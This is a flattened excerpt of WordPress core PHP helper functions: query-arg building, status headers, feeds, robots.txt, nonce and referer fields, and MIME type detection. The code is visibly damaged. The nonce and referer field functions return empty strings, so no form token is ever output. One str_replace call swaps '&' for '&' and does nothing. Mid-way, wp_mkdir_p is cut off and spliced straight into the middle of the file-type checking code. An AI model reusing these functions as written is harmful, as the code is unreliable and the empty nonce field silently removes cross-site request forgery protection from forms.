boolean false removes the key (see remove_query_arg()). * * Important: The return value of add_query_arg() is not escaped by default. Output should be * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting * (XSS) attacks. * * @since 1.5.0 * @since 5.3.0 Formalized the existing and already documented parameters * by adding `...$args` to the function signature. * * @param string|array $key Either a query variable key, or an associative array of query variables. * @param string $value Optional. Either a query variable value, or a URL to act upon. * @param string $url Optional. A URL to act upon. * @return string New URL query string (unescaped). */ function add_query_arg( ...$args ) { if ( is_array( $args[0] ) ) { if ( count( $args ) < 2 || false === $args[1] ) { $uri = $_SERVER['REQUEST_URI']; } else { $uri = $args[1]; } } else { if ( count( $args ) < 3 || false === $args[2] ) { $uri = $_SERVER['REQUEST_URI']; } else { $uri = $args[2]; } } $frag = strstr( $uri, '#' ); if ( $frag ) { $uri = substr( $uri, 0, -strlen( $frag ) ); } else { $frag = ''; } if ( 0 === stripos( $uri, 'http://' ) ) { $protocol = 'http://'; $uri = substr( $uri, 7 ); } elseif ( 0 === stripos( $uri, 'https://' ) ) { $protocol = 'https://'; $uri = substr( $uri, 8 ); } else { $protocol = ''; } if ( strpos( $uri, '?' ) !== false ) { list( $base, $query ) = explode( '?', $uri, 2 ); $base .= '?'; } elseif ( $protocol || strpos( $uri, '=' ) === false ) { $base = $uri . '?'; $query = ''; } else { $base = ''; $query = $uri; } wp_parse_str( $query, $qs ); $qs = urlencode_deep( $qs ); // This re-URL-encodes things that were already in the query string. if ( is_array( $args[0] ) ) { foreach ( $args[0] as $k => $v ) { $qs[ $k ] = $v; } } else { $qs[ $args[0] ] = $args[1]; } foreach ( $qs as $k => $v ) { if ( false === $v ) { unset( $qs[ $k ] ); } } $ret = build_query( $qs ); $ret = trim( $ret, '?' ); $ret = preg_replace( '#=(&|$)#', '$1', $ret ); $ret = $protocol . $base . $ret . $frag; $ret = rtrim( $ret, '?' ); return $ret; } /** * Removes an item or items from a query string. * * @since 1.5.0 * * @param string|string[] $key Query key or keys to remove. * @param false|string $query Optional. When false uses the current URL. Default false. * @return string New URL query string. */ function remove_query_arg( $key, $query = false ) { if ( is_array( $key ) ) { // Removing multiple keys. foreach ( $key as $k ) { $query = add_query_arg( $k, false, $query ); } return $query; } return add_query_arg( $key, false, $query ); } /** * Returns an array of single-use query variable names that can be removed from a URL. * * @since 4.4.0 * * @return string[] An array of query variable names to remove from the URL. */ function wp_removable_query_args() { $removable_query_args = array( 'activate', 'activated', 'admin_email_remind_later', 'approved', 'core-major-auto-updates-saved', 'deactivate', 'delete_count', 'deleted', 'disabled', 'doing_wp_cron', 'enabled', 'error', 'hotkeys_highlight_first', 'hotkeys_highlight_last', 'ids', 'locked', 'message', 'same', 'saved', 'settings-updated', 'skipped', 'spammed', 'trashed', 'unspammed', 'untrashed', 'update', 'updated', 'wp-post-new-reload', ); /** * Filters the list of query variable names to remove. * * @since 4.2.0 * * @param string[] $removable_query_args An array of query variable names to remove from a URL. */ return apply_filters( 'removable_query_args', $removable_query_args ); } /** * Walks the array while sanitizing the contents. * * @since 0.71 * @since 5.5.0 Non-string values are left untouched. * * @param array $array Array to walk while sanitizing contents. * @return array Sanitized $array. */ function add_magic_quotes( $array ) { foreach ( (array) $array as $k => $v ) { if ( is_array( $v ) ) { $array[ $k ] = add_magic_quotes( $v ); } elseif ( is_string( $v ) ) { $array[ $k ] = addslashes( $v ); } else { continue; } } return $array; } /** * HTTP request for URI to retrieve content. * * @since 1.5.1 * * @see wp_safe_remote_get() * * @param string $uri URI/URL of web page to retrieve. * @return string|false HTTP content. False on failure. */ function wp_remote_fopen( $uri ) { $parsed_url = parse_url( $uri ); if ( ! $parsed_url || ! is_array( $parsed_url ) ) { return false; } $options = array(); $options['timeout'] = 10; $response = wp_safe_remote_get( $uri, $options ); if ( is_wp_error( $response ) ) { return false; } return wp_remote_retrieve_body( $response ); } /** * Set up the WordPress query. * * @since 2.0.0 * * @global WP $wp Current WordPress environment instance. * @global WP_Query $wp_query WordPress Query object. * @global WP_Query $wp_the_query Copy of the WordPress Query object. * * @param string|array $query_vars Default WP_Query arguments. */ function wp( $query_vars = '' ) { global $wp, $wp_query, $wp_the_query; $wp->main( $query_vars ); if ( ! isset( $wp_the_query ) ) { $wp_the_query = $wp_query; } } /** * Retrieve the description for the HTTP status. * * @since 2.3.0 * @since 3.9.0 Added status codes 418, 428, 429, 431, and 511. * @since 4.5.0 Added status codes 308, 421, and 451. * @since 5.1.0 Added status code 103. * * @global array $wp_header_to_desc * * @param int $code HTTP status code. * @return string Status description if found, an empty string otherwise. */ function get_status_header_desc( $code ) { global $wp_header_to_desc; $code = absint( $code ); if ( ! isset( $wp_header_to_desc ) ) { $wp_header_to_desc = array( 100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', 103 => 'Early Hints', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-Status', 226 => 'IM Used', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Reserved', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Long', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 421 => 'Misdirected Request', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 510 => 'Not Extended', 511 => 'Network Authentication Required', ); } if ( isset( $wp_header_to_desc[ $code ] ) ) { return $wp_header_to_desc[ $code ]; } else { return ''; } } /** * Set HTTP status header. * * @since 2.0.0 * @since 4.4.0 Added the `$description` parameter. * * @see get_status_header_desc() * * @param int $code HTTP status code. * @param string $description Optional. A custom description for the HTTP status. */ function status_header( $code, $description = '' ) { if ( ! $description ) { $description = get_status_header_desc( $code ); } if ( empty( $description ) ) { return; } $protocol = wp_get_server_protocol(); $status_header = "$protocol $code $description"; if ( function_exists( 'apply_filters' ) ) { /** * Filters an HTTP status header. * * @since 2.2.0 * * @param string $status_header HTTP status header. * @param int $code HTTP status code. * @param string $description Description for the status code. * @param string $protocol Server protocol. */ $status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol ); } if ( ! headers_sent() ) { header( $status_header, true, $code ); } } /** * Get the header information to prevent caching. * * The several different headers cover the different ways cache prevention * is handled by different browsers * * @since 2.8.0 * * @return array The associative array of header names and field values. */ function wp_get_nocache_headers() { $headers = array( 'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT', 'Cache-Control' => 'no-cache, must-revalidate, max-age=0', ); if ( function_exists( 'apply_filters' ) ) { /** * Filters the cache-controlling headers. * * @since 2.8.0 * * @see wp_get_nocache_headers() * * @param array $headers { * Header names and field values. * * @type string $Expires Expires header. * @type string $Cache-Control Cache-Control header. * } */ $headers = (array) apply_filters( 'nocache_headers', $headers ); } $headers['Last-Modified'] = false; return $headers; } /** * Set the headers to prevent caching for the different browsers. * * Different browsers support different nocache headers, so several * headers must be sent so that all of them get the point that no * caching should occur. * * @since 2.0.0 * * @see wp_get_nocache_headers() */ function nocache_headers() { if ( headers_sent() ) { return; } $headers = wp_get_nocache_headers(); unset( $headers['Last-Modified'] ); header_remove( 'Last-Modified' ); foreach ( $headers as $name => $field_value ) { header( "{$name}: {$field_value}" ); } } /** * Set the headers for caching for 10 days with JavaScript content type. * * @since 2.1.0 */ function cache_javascript_headers() { $expiresOffset = 10 * DAY_IN_SECONDS; header( 'Content-Type: text/javascript; charset=' . get_bloginfo( 'charset' ) ); header( 'Vary: Accept-Encoding' ); // Handle proxies. header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expiresOffset ) . ' GMT' ); } /** * Retrieve the number of database queries during the WordPress execution. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int Number of database queries. */ function get_num_queries() { global $wpdb; return $wpdb->num_queries; } /** * Whether input is yes or no. * * Must be 'y' to be true. * * @since 1.0.0 * * @param string $yn Character string containing either 'y' (yes) or 'n' (no). * @return bool True if yes, false on anything else. */ function bool_from_yn( $yn ) { return ( 'y' === strtolower( $yn ) ); } /** * Load the feed template from the use of an action hook. * * If the feed action does not have a hook, then the function will die with a * message telling the visitor that the feed is not valid. * * It is better to only have one hook for each feed. * * @since 2.1.0 * * @global WP_Query $wp_query WordPress Query object. */ function do_feed() { global $wp_query; $feed = get_query_var( 'feed' ); // Remove the pad, if present. $feed = preg_replace( '/^_+/', '', $feed ); if ( '' === $feed || 'feed' === $feed ) { $feed = get_default_feed(); } if ( ! has_action( "do_feed_{$feed}" ) ) { wp_die( __( 'Error: This is not a valid feed template.' ), '', array( 'response' => 404 ) ); } /** * Fires once the given feed is loaded. * * The dynamic portion of the hook name, `$feed`, refers to the feed template name. * * Possible hook names include: * * - `do_feed_atom` * - `do_feed_rdf` * - `do_feed_rss` * - `do_feed_rss2` * * @since 2.1.0 * @since 4.4.0 The `$feed` parameter was added. * * @param bool $is_comment_feed Whether the feed is a comment feed. * @param string $feed The feed name. */ do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed ); } /** * Load the RDF RSS 0.91 Feed template. * * @since 2.1.0 * * @see load_template() */ function do_feed_rdf() { load_template( ABSPATH . WPINC . '/feed-rdf.php' ); } /** * Load the RSS 1.0 Feed Template. * * @since 2.1.0 * * @see load_template() */ function do_feed_rss() { load_template( ABSPATH . WPINC . '/feed-rss.php' ); } /** * Load either the RSS2 comment feed or the RSS2 posts feed. * * @since 2.1.0 * * @see load_template() * * @param bool $for_comments True for the comment feed, false for normal feed. */ function do_feed_rss2( $for_comments ) { if ( $for_comments ) { load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' ); } else { load_template( ABSPATH . WPINC . '/feed-rss2.php' ); } } /** * Load either Atom comment feed or Atom posts feed. * * @since 2.1.0 * * @see load_template() * * @param bool $for_comments True for the comment feed, false for normal feed. */ function do_feed_atom( $for_comments ) { if ( $for_comments ) { load_template( ABSPATH . WPINC . '/feed-atom-comments.php' ); } else { load_template( ABSPATH . WPINC . '/feed-atom.php' ); } } /** * Displays the default robots.txt file content. * * @since 2.1.0 * @since 5.3.0 Remove the "Disallow: /" output if search engine visiblity is * discouraged in favor of robots meta HTML tag via wp_robots_no_robots() * filter callback. */ function do_robots() { header( 'Content-Type: text/plain; charset=utf-8' ); /** * Fires when displaying the robots.txt file. * * @since 2.1.0 */ do_action( 'do_robotstxt' ); $output = "User-agent: *\n"; $public = get_option( 'blog_public' ); $site_url = parse_url( site_url() ); $path = ( ! empty( $site_url['path'] ) ) ? $site_url['path'] : ''; $output .= "Disallow: $path/wp-admin/\n"; $output .= "Allow: $path/wp-admin/admin-ajax.php\n"; /** * Filters the robots.txt output. * * @since 3.0.0 * * @param string $output The robots.txt output. * @param bool $public Whether the site is considered "public". */ echo apply_filters( 'robots_txt', $output, $public ); } /** * Display the favicon.ico file content. * * @since 5.4.0 */ function do_favicon() { /** * Fires when serving the favicon.ico file. * * @since 5.4.0 */ do_action( 'do_faviconico' ); wp_redirect( get_site_icon_url( 32, includes_url( 'images/w-logo-blue-white-bg.png' ) ) ); exit; } /** * Determines whether WordPress is already installed. * * The cache will be checked first. If you have a cache plugin, which saves * the cache values, then this will work. If you use the default WordPress * cache, and the database goes away, then you might have problems. * * Checks for the 'siteurl' option for whether WordPress is installed. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool Whether the site is already installed. */ function is_blog_installed() { global $wpdb; /* * Check cache first. If options table goes away and we have true * cached, oh well. */ if ( wp_cache_get( 'is_blog_installed' ) ) { return true; } $suppress = $wpdb->suppress_errors(); if ( ! wp_installing() ) { $alloptions = wp_load_alloptions(); } // If siteurl is not set to autoload, check it specifically. if ( ! isset( $alloptions['siteurl'] ) ) { $installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" ); } else { $installed = $alloptions['siteurl']; } $wpdb->suppress_errors( $suppress ); $installed = ! empty( $installed ); wp_cache_set( 'is_blog_installed', $installed ); if ( $installed ) { return true; } // If visiting repair.php, return true and let it take over. if ( defined( 'WP_REPAIRING' ) ) { return true; } $suppress = $wpdb->suppress_errors(); /* * Loop over the WP tables. If none exist, then scratch installation is allowed. * If one or more exist, suggest table repair since we got here because the * options table could not be accessed. */ $wp_tables = $wpdb->tables(); foreach ( $wp_tables as $table ) { // The existence of custom user tables shouldn't suggest an unwise state or prevent a clean installation. if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table ) { continue; } if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table ) { continue; } $described_table = $wpdb->get_results( "DESCRIBE $table;" ); if ( ( ! $described_table && empty( $wpdb->last_error ) ) || ( is_array( $described_table ) && 0 === count( $described_table ) ) ) { continue; } // One or more tables exist. This is not good. wp_load_translations_early(); // Die with a DB error. $wpdb->error = sprintf( /* translators: %s: Database repair URL. */ __( 'One or more database tables are unavailable. The database may need to be repaired.' ), 'maint/repair.php?referrer=is_blog_installed' ); dead_db(); } $wpdb->suppress_errors( $suppress ); wp_cache_set( 'is_blog_installed', false ); return false; } /** * Retrieve URL with nonce added to URL query. * * @since 2.0.4 * * @param string $actionurl URL to add nonce action. * @param int|string $action Optional. Nonce action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @return string Escaped URL with nonce action added. */ function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) { $actionurl = str_replace( '&', '&', $actionurl ); return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) ); } /** * Retrieve or display nonce hidden field for forms. * * The nonce field is used to validate that the contents of the form came from * the location on the current site and not somewhere else. The nonce does not * offer absolute protection, but should protect against most cases. It is very * important to use nonce field in forms. * * The $action and $name are optional, but if you want to have better security, * it is strongly suggested to set those two parameters. It is easier to just * call the function without any parameters, because validation of the nonce * doesn't require any parameters, but since crackers know what the default is * it won't be difficult for them to find a way around your nonce and cause * damage. * * The input name will be whatever $name value you gave. The input value will be * the nonce creation value. * * @since 2.0.4 * * @param int|string $action Optional. Action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @param bool $referer Optional. Whether to set the referer field for validation. Default true. * @param bool $echo Optional. Whether to display or return hidden form field. Default true. * @return string Nonce field HTML markup. */ function wp_nonce_field( $action = -1, $name = '_wpnonce', $referer = true, $echo = true ) { $name = esc_attr( $name ); $nonce_field = ''; if ( $referer ) { $nonce_field .= wp_referer_field( false ); } if ( $echo ) { echo $nonce_field; } return $nonce_field; } /** * Retrieve or display referer hidden field for forms. * * The referer link is the current Request URI from the server super global. The * input name is '_wp_http_referer', in case you wanted to check manually. * * @since 2.0.4 * * @param bool $echo Optional. Whether to echo or return the referer field. Default true. * @return string Referer field HTML markup. */ function wp_referer_field( $echo = true ) { $referer_field = ''; if ( $echo ) { echo $referer_field; } return $referer_field; } /** * Retrieve or display original referer hidden field for forms. * * The input name is '_wp_original_http_referer' and will be either the same * value of wp_referer_field(), if that was posted already or it will be the * current page, if it doesn't exist. * * @since 2.0.4 * * @param bool $echo Optional. Whether to echo the original http referer. Default true. * @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to. * Default 'current'. * @return string Original referer field. */ function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) { $ref = wp_get_original_referer(); if ( ! $ref ) { $ref = ( 'previous' === $jump_back_to ) ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] ); } $orig_referer_field = ''; if ( $echo ) { echo $orig_referer_field; } return $orig_referer_field; } /** * Retrieve referer from '_wp_http_referer' or HTTP referer. * * If it's the same as the current request URL, will return false. * * @since 2.0.4 * * @return string|false Referer URL on success, false on failure. */ function wp_get_referer() { if ( ! function_exists( 'wp_validate_redirect' ) ) { return false; } $ref = wp_get_raw_referer(); if ( $ref && wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref && home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref ) { return wp_validate_redirect( $ref, false ); } return false; } /** * Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer. * * Do not use for redirects, use wp_get_referer() instead. * * @since 4.5.0 * * @return string|false Referer URL on success, false on failure. */ function wp_get_raw_referer() { if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) { return wp_unslash( $_REQUEST['_wp_http_referer'] ); } elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) { return wp_unslash( $_SERVER['HTTP_REFERER'] ); } return false; } /** * Retrieve original referer that was posted, if it exists. * * @since 2.0.4 * * @return string|false Original referer URL on success, false on failure. */ function wp_get_original_referer() { if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) ) { return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false ); } return false; } /** * Recursive directory creation based on full path. * * Will attempt to set permissions on folders. * * @since 2.0.1 * * @param string $target Full path to attempt to create. * @return bool Whether the path was created. True if path already exists. */ function wp_mkdir_p( $target ) { $wrapper = null; // Strip the protocol. if ( wp_is_stream( $target ) ) { list( $wrapper, $target ) = explode( '://', $target, 2 ); } // From php.net/mkdir user contributed notes. $target = str_replace( '//', '/', $target ); // Put the wrapper back on the target. if ( null !== $wrapper ) { $target = $wrapper . '://' . $target; } /* * Safe mode fails with a trailing slash under certain PHP versions. * Use rtrim() instead of untrailingslashit to avoid formatting.php dependency. */ $target = rtrim( $target, '/' ); if ( empty( $target ) ) { $target = '/'; } if ( file_exists( $target ) ) { return @is_dir( $target ); } // Do not allow path traversals. if ( false !== strpos( $target, '../' ) || false !== strpos( $target, '..' . DIRECTORY_SEPARATOR ) ) { return false; } // We need to find the permissions of the parent folder that exists and inherit that. $target_parent = dirname( $target ); while ( '.' !== $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) { $target_p$filename_parts ); $filename_parts[] = $mime_to_ext[ $real_mime ]; $new_filename = implode( '.', $filename_parts ); if ( $new_filename != $filename ) { $proper_filename = $new_filename; // Mark that it changed. } // Redefine the extension / MIME. $wp_filetype = wp_check_filetype( $new_filename, $mimes ); $ext = $wp_filetype['ext']; $type = $wp_filetype['type']; } else { // Reset $real_mime and try validating again. $real_mime = false; } } } // Validate files that didn't get validated during previous checks. if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) { $finfo = finfo_open( FILEINFO_MIME_TYPE ); $real_mime = finfo_file( $finfo, $file ); finfo_close( $finfo ); // fileinfo often misidentifies obscure files as one of these types. $nonspecific_types = array( 'application/octet-stream', 'application/encrypted', 'application/CDFV2-encrypted', 'application/zip', ); /* * If $real_mime doesn't match the content type we're expecting from the file's extension, * we need to do some additional vetting. Media types and those listed in $nonspecific_types are * allowed some leeway, but anything else must exactly match the real content type. */ if ( in_array( $real_mime, $nonspecific_types, true ) ) { // File is a non-specific binary type. That's ok if it's a type that generally tends to be binary. if ( ! in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ), true ) ) { $type = false; $ext = false; } } elseif ( 0 === strpos( $real_mime, 'video/' ) || 0 === strpos( $real_mime, 'audio/' ) ) { /* * For these types, only the major type must match the real value. * This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip, * and some media files are commonly named with the wrong extension (.mov instead of .mp4) */ if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) { $type = false; $ext = false; } } elseif ( 'text/plain' === $real_mime ) { // A few common file types are occasionally detected as text/plain; allow those. if ( ! in_array( $type, array( 'text/plain', 'text/csv', 'application/csv', 'text/richtext', 'text/tsv', 'text/vtt', ), true ) ) { $type = false; $ext = false; } } elseif ( 'application/csv' === $real_mime ) { // Special casing for CSV files. if ( ! in_array( $type, array( 'text/csv', 'text/plain', 'application/csv', ), true ) ) { $type = false; $ext = false; } } elseif ( 'text/rtf' === $real_mime ) { // Special casing for RTF files. if ( ! in_array( $type, array( 'text/rtf', 'text/plain', 'application/rtf', ), true ) ) { $type = false; $ext = false; } } else { if ( $type !== $real_mime ) { /* * Everything else including image/* and application/*: * If the real content type doesn't match the file extension, assume it's dangerous. */ $type = false; $ext = false; } } } // The mime type must be allowed. if ( $type ) { $allowed = get_allowed_mime_types(); if ( ! in_array( $type, $allowed, true ) ) { $type = false; $ext = false; } } /** * Filters the "real" file type of the given file. * * @since 3.0.0 * @since 5.1.0 The $real_mime parameter was added. * * @param array $wp_check_filetype_and_ext { * Values for the extension, mime type, and corrected filename. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined. * } * @param string $file Full path to the file. * @param string $filename The name of the file (may differ from $file due to * $file being in a tmp directory). * @param string[] $mimes Array of mime types keyed by their file extension regex. * @param string|false $real_mime The actual mime type or false if the type cannot be determined. */ return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes, $real_mime ); } /** * Returns the real mime type of an image file. * * This depends on exif_imagetype() or getimagesize() to determine real mime types. * * @since 4.7.1 * @since 5.8.0 Added support for WebP images. * * @param string $file Full path to the file. * @return string|false The actual mime type or false if the type cannot be determined. */ function wp_get_image_mime( $file ) { /* * Use exif_imagetype() to check the mimetype if available or fall back to * getimagesize() if exif isn't avaialbe. If either function throws an Exception * we assume the file could not be validated. */ try { if ( is_callable( 'exif_imagetype' ) ) { $imagetype = exif_imagetype( $file ); $mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false; } elseif ( function_exists( 'getimagesize' ) ) { // Don't silence errors when in debug mode, unless running unit tests. if ( defined( 'WP_DEBUG' ) && WP_DEBUG && ! defined( 'WP_RUN_CORE_TESTS' ) ) { // Not using wp_getimagesize() here to avoid an infinite loop. $imagesize = getimagesize( $file ); } else { // phpcs:ignore WordPress.PHP.NoSilencedErrors $imagesize = @getimagesize( $file ); } $mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false; } else { $mime = false; } if ( false !== $mime ) { return $mime; } $handle = fopen( $file, 'rb' ); if ( false === $handle ) { return false; } $magic = fread( $handle, 12 ); if ( false === $magic ) { return false; } /* * Add WebP fallback detection when image library doesn't support WebP. * Note: detection values come from LibWebP, see * https://github.com/webmproject/libwebp/blob/master/imageio/image_dec.c#L30 */ $magic = bin2hex( $magic ); if ( // RIFF. ( 0 === strpos( $magic, '52494646' ) ) && // WEBP. ( 16 === strpos( $magic, '57454250' ) ) ) { $mime = 'image/webp'; } fclose( $handle ); } catch ( Exception $e ) { $mime = false; } return $mime; } /** * Retrieve list of mime types and file extensions. * * @since 3.5.0 * @since 4.2.0 Support was added for GIMP (.xcf) files. * @since 4.9.2 Support was added for Flac (.flac) files. * @since 4.9.6 Support was added for AAC (.aac) files. * * @return string[] Array of mime types keyed by the file extension regex corresponding to those types. */ function wp_get_mime_types() { /** * Filters the list of mime types and file extensions. * * This filter should be used to add, not remove, mime types. To remove * mime types, use the {@see 'upload_mimes'} filter. * * @since 3.5.0 * * @param string[] $wp_get_mime_types Mime types keyed by the file extension regex * corresponding to those types. */ return apply_filters( 'mime_types', array( // Image formats. 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png', 'bmp' => 'image/bmp', 'tiff|tif' => 'image/tiff', 'webp' => 'image/webp', 'ico' => 'image/x-icon', 'heic' => 'image/heic', // Video formats. 'asf|asx' => 'video/x-ms-asf', 'wmv' => 'video/x-ms-wmv', 'wmx' => 'video/x-ms-wmx', 'wm' => 'video/x-ms-wm', 'avi' => 'video/avi', 'divx' => 'video/divx', 'flv' => 'video/x-flv', 'mov|qt' => 'video/quicktime', 'mpeg|mpg|mpe' => 'video/mpeg', 'mp4|m4v' => 'video/mp4', 'ogv' => 'video/ogg', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', '3gp|3gpp' => 'video/3gpp', // Can also be audio. '3g2|3gp2' => 'video/3gpp2', // Can also be audio. // Text formats. 'txt|asc|c|cc|h|srt' => 'text/plain', 'csv' => 'text/csv', 'tsv' => 'text/tab-separated-values', 'ics' => 'text/calendar', 'rtx' => 'text/richtext', 'css' => 'text/css', 'htm|html' => 'text/html', 'vtt' => 'text/vtt', 'dfxp' => 'application/ttaf+xml', // Audio formats. 'mp3|m4a|m4b' => 'audio/mpeg', 'aac' => 'audio/aac', 'ra|ram' => 'audio/x-realaudio', 'wav' => 'audio/wav', 'ogg|oga' => 'audio/ogg', 'flac' => 'audio/flac', 'mid|midi' => 'audio/midi', 'wma' => 'audio/x-ms-wma', 'wax' => 'audio/x-ms-wax', 'mka' => 'audio/x-matroska', // Misc application formats. 'rtf' => 'application/rtf', 'js' => 'application/javascript', 'pdf' => 'application/pdf', 'swf' => 'application/x-shockwave-flash', 'class' => 'application/java', 'tar' => 'application/x-tar', 'zip' => 'application/zip', 'gz|gzip' => 'application/x-gzip', 'rar' => 'application/rar', '7z' => 'application/x-7z-compressed', 'exe' => 'application/x-msdownload', 'psd' => 'application/octet-stream', 'xcf' => 'application/octet-stream', // MS Office formats. 'doc' => 'application/msword', 'pot|pps|ppt' => 'application/vnd.ms-powerpoint', 'wri' => 'application/vnd.ms-write', 'xla|xls|xlt|xlw' => 'application/vnd.ms-excel', 'mdb' => 'application/vnd.ms-access', 'mpp' => 'application/vnd.ms-project', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'docm' => 'application/vnd.ms-word.document.macroEnabled.12', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12', 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12', 'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote', 'oxps' => 'application/oxps', 'xps' => 'application/vnd.ms-xpsdocument', // OpenOffice formats. 'odt' => 'application/vnd.oasis.opendocument.text', 'odp' => 'application/vnd.oasis.opendocument.presentation', 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', 'odg' => 'application/vnd.oasis.opendocument.graphics', 'odc' => 'application/vnd.oasis.opendocument.chart', 'odb' => 'application/vnd.oasis.opendocument.database', 'odf' => 'application/vnd.oasis.opendocument.formula', // WordPerfect formats. 'wp|wpd' => 'application/wordperfect', // iWork formats. 'key' => 'application/vnd.apple.keynote', 'numbers' => 'application/vnd.apple.numbers', 'pages' => 'application/vnd.apple.pages', ) ); } /** * Retrieves the list of common file extensions and their types. * * @since 4.6.0 * * @return array[] Multi-dimensional array of file extensions types keyed by the type of file. */ function wp_get_ext_types() { /** * Filters file type based on the extension name. * * @since 2.5.0 * * @see wp_ext2type() * * @param array[] $ext2type Multi-dimensional array of file extensions types keyed by the type of file. */ return apply_filters( 'ext2type', array( 'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico', 'heic', 'webp' ), 'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ), 'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ), 'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ), 'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ), 'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 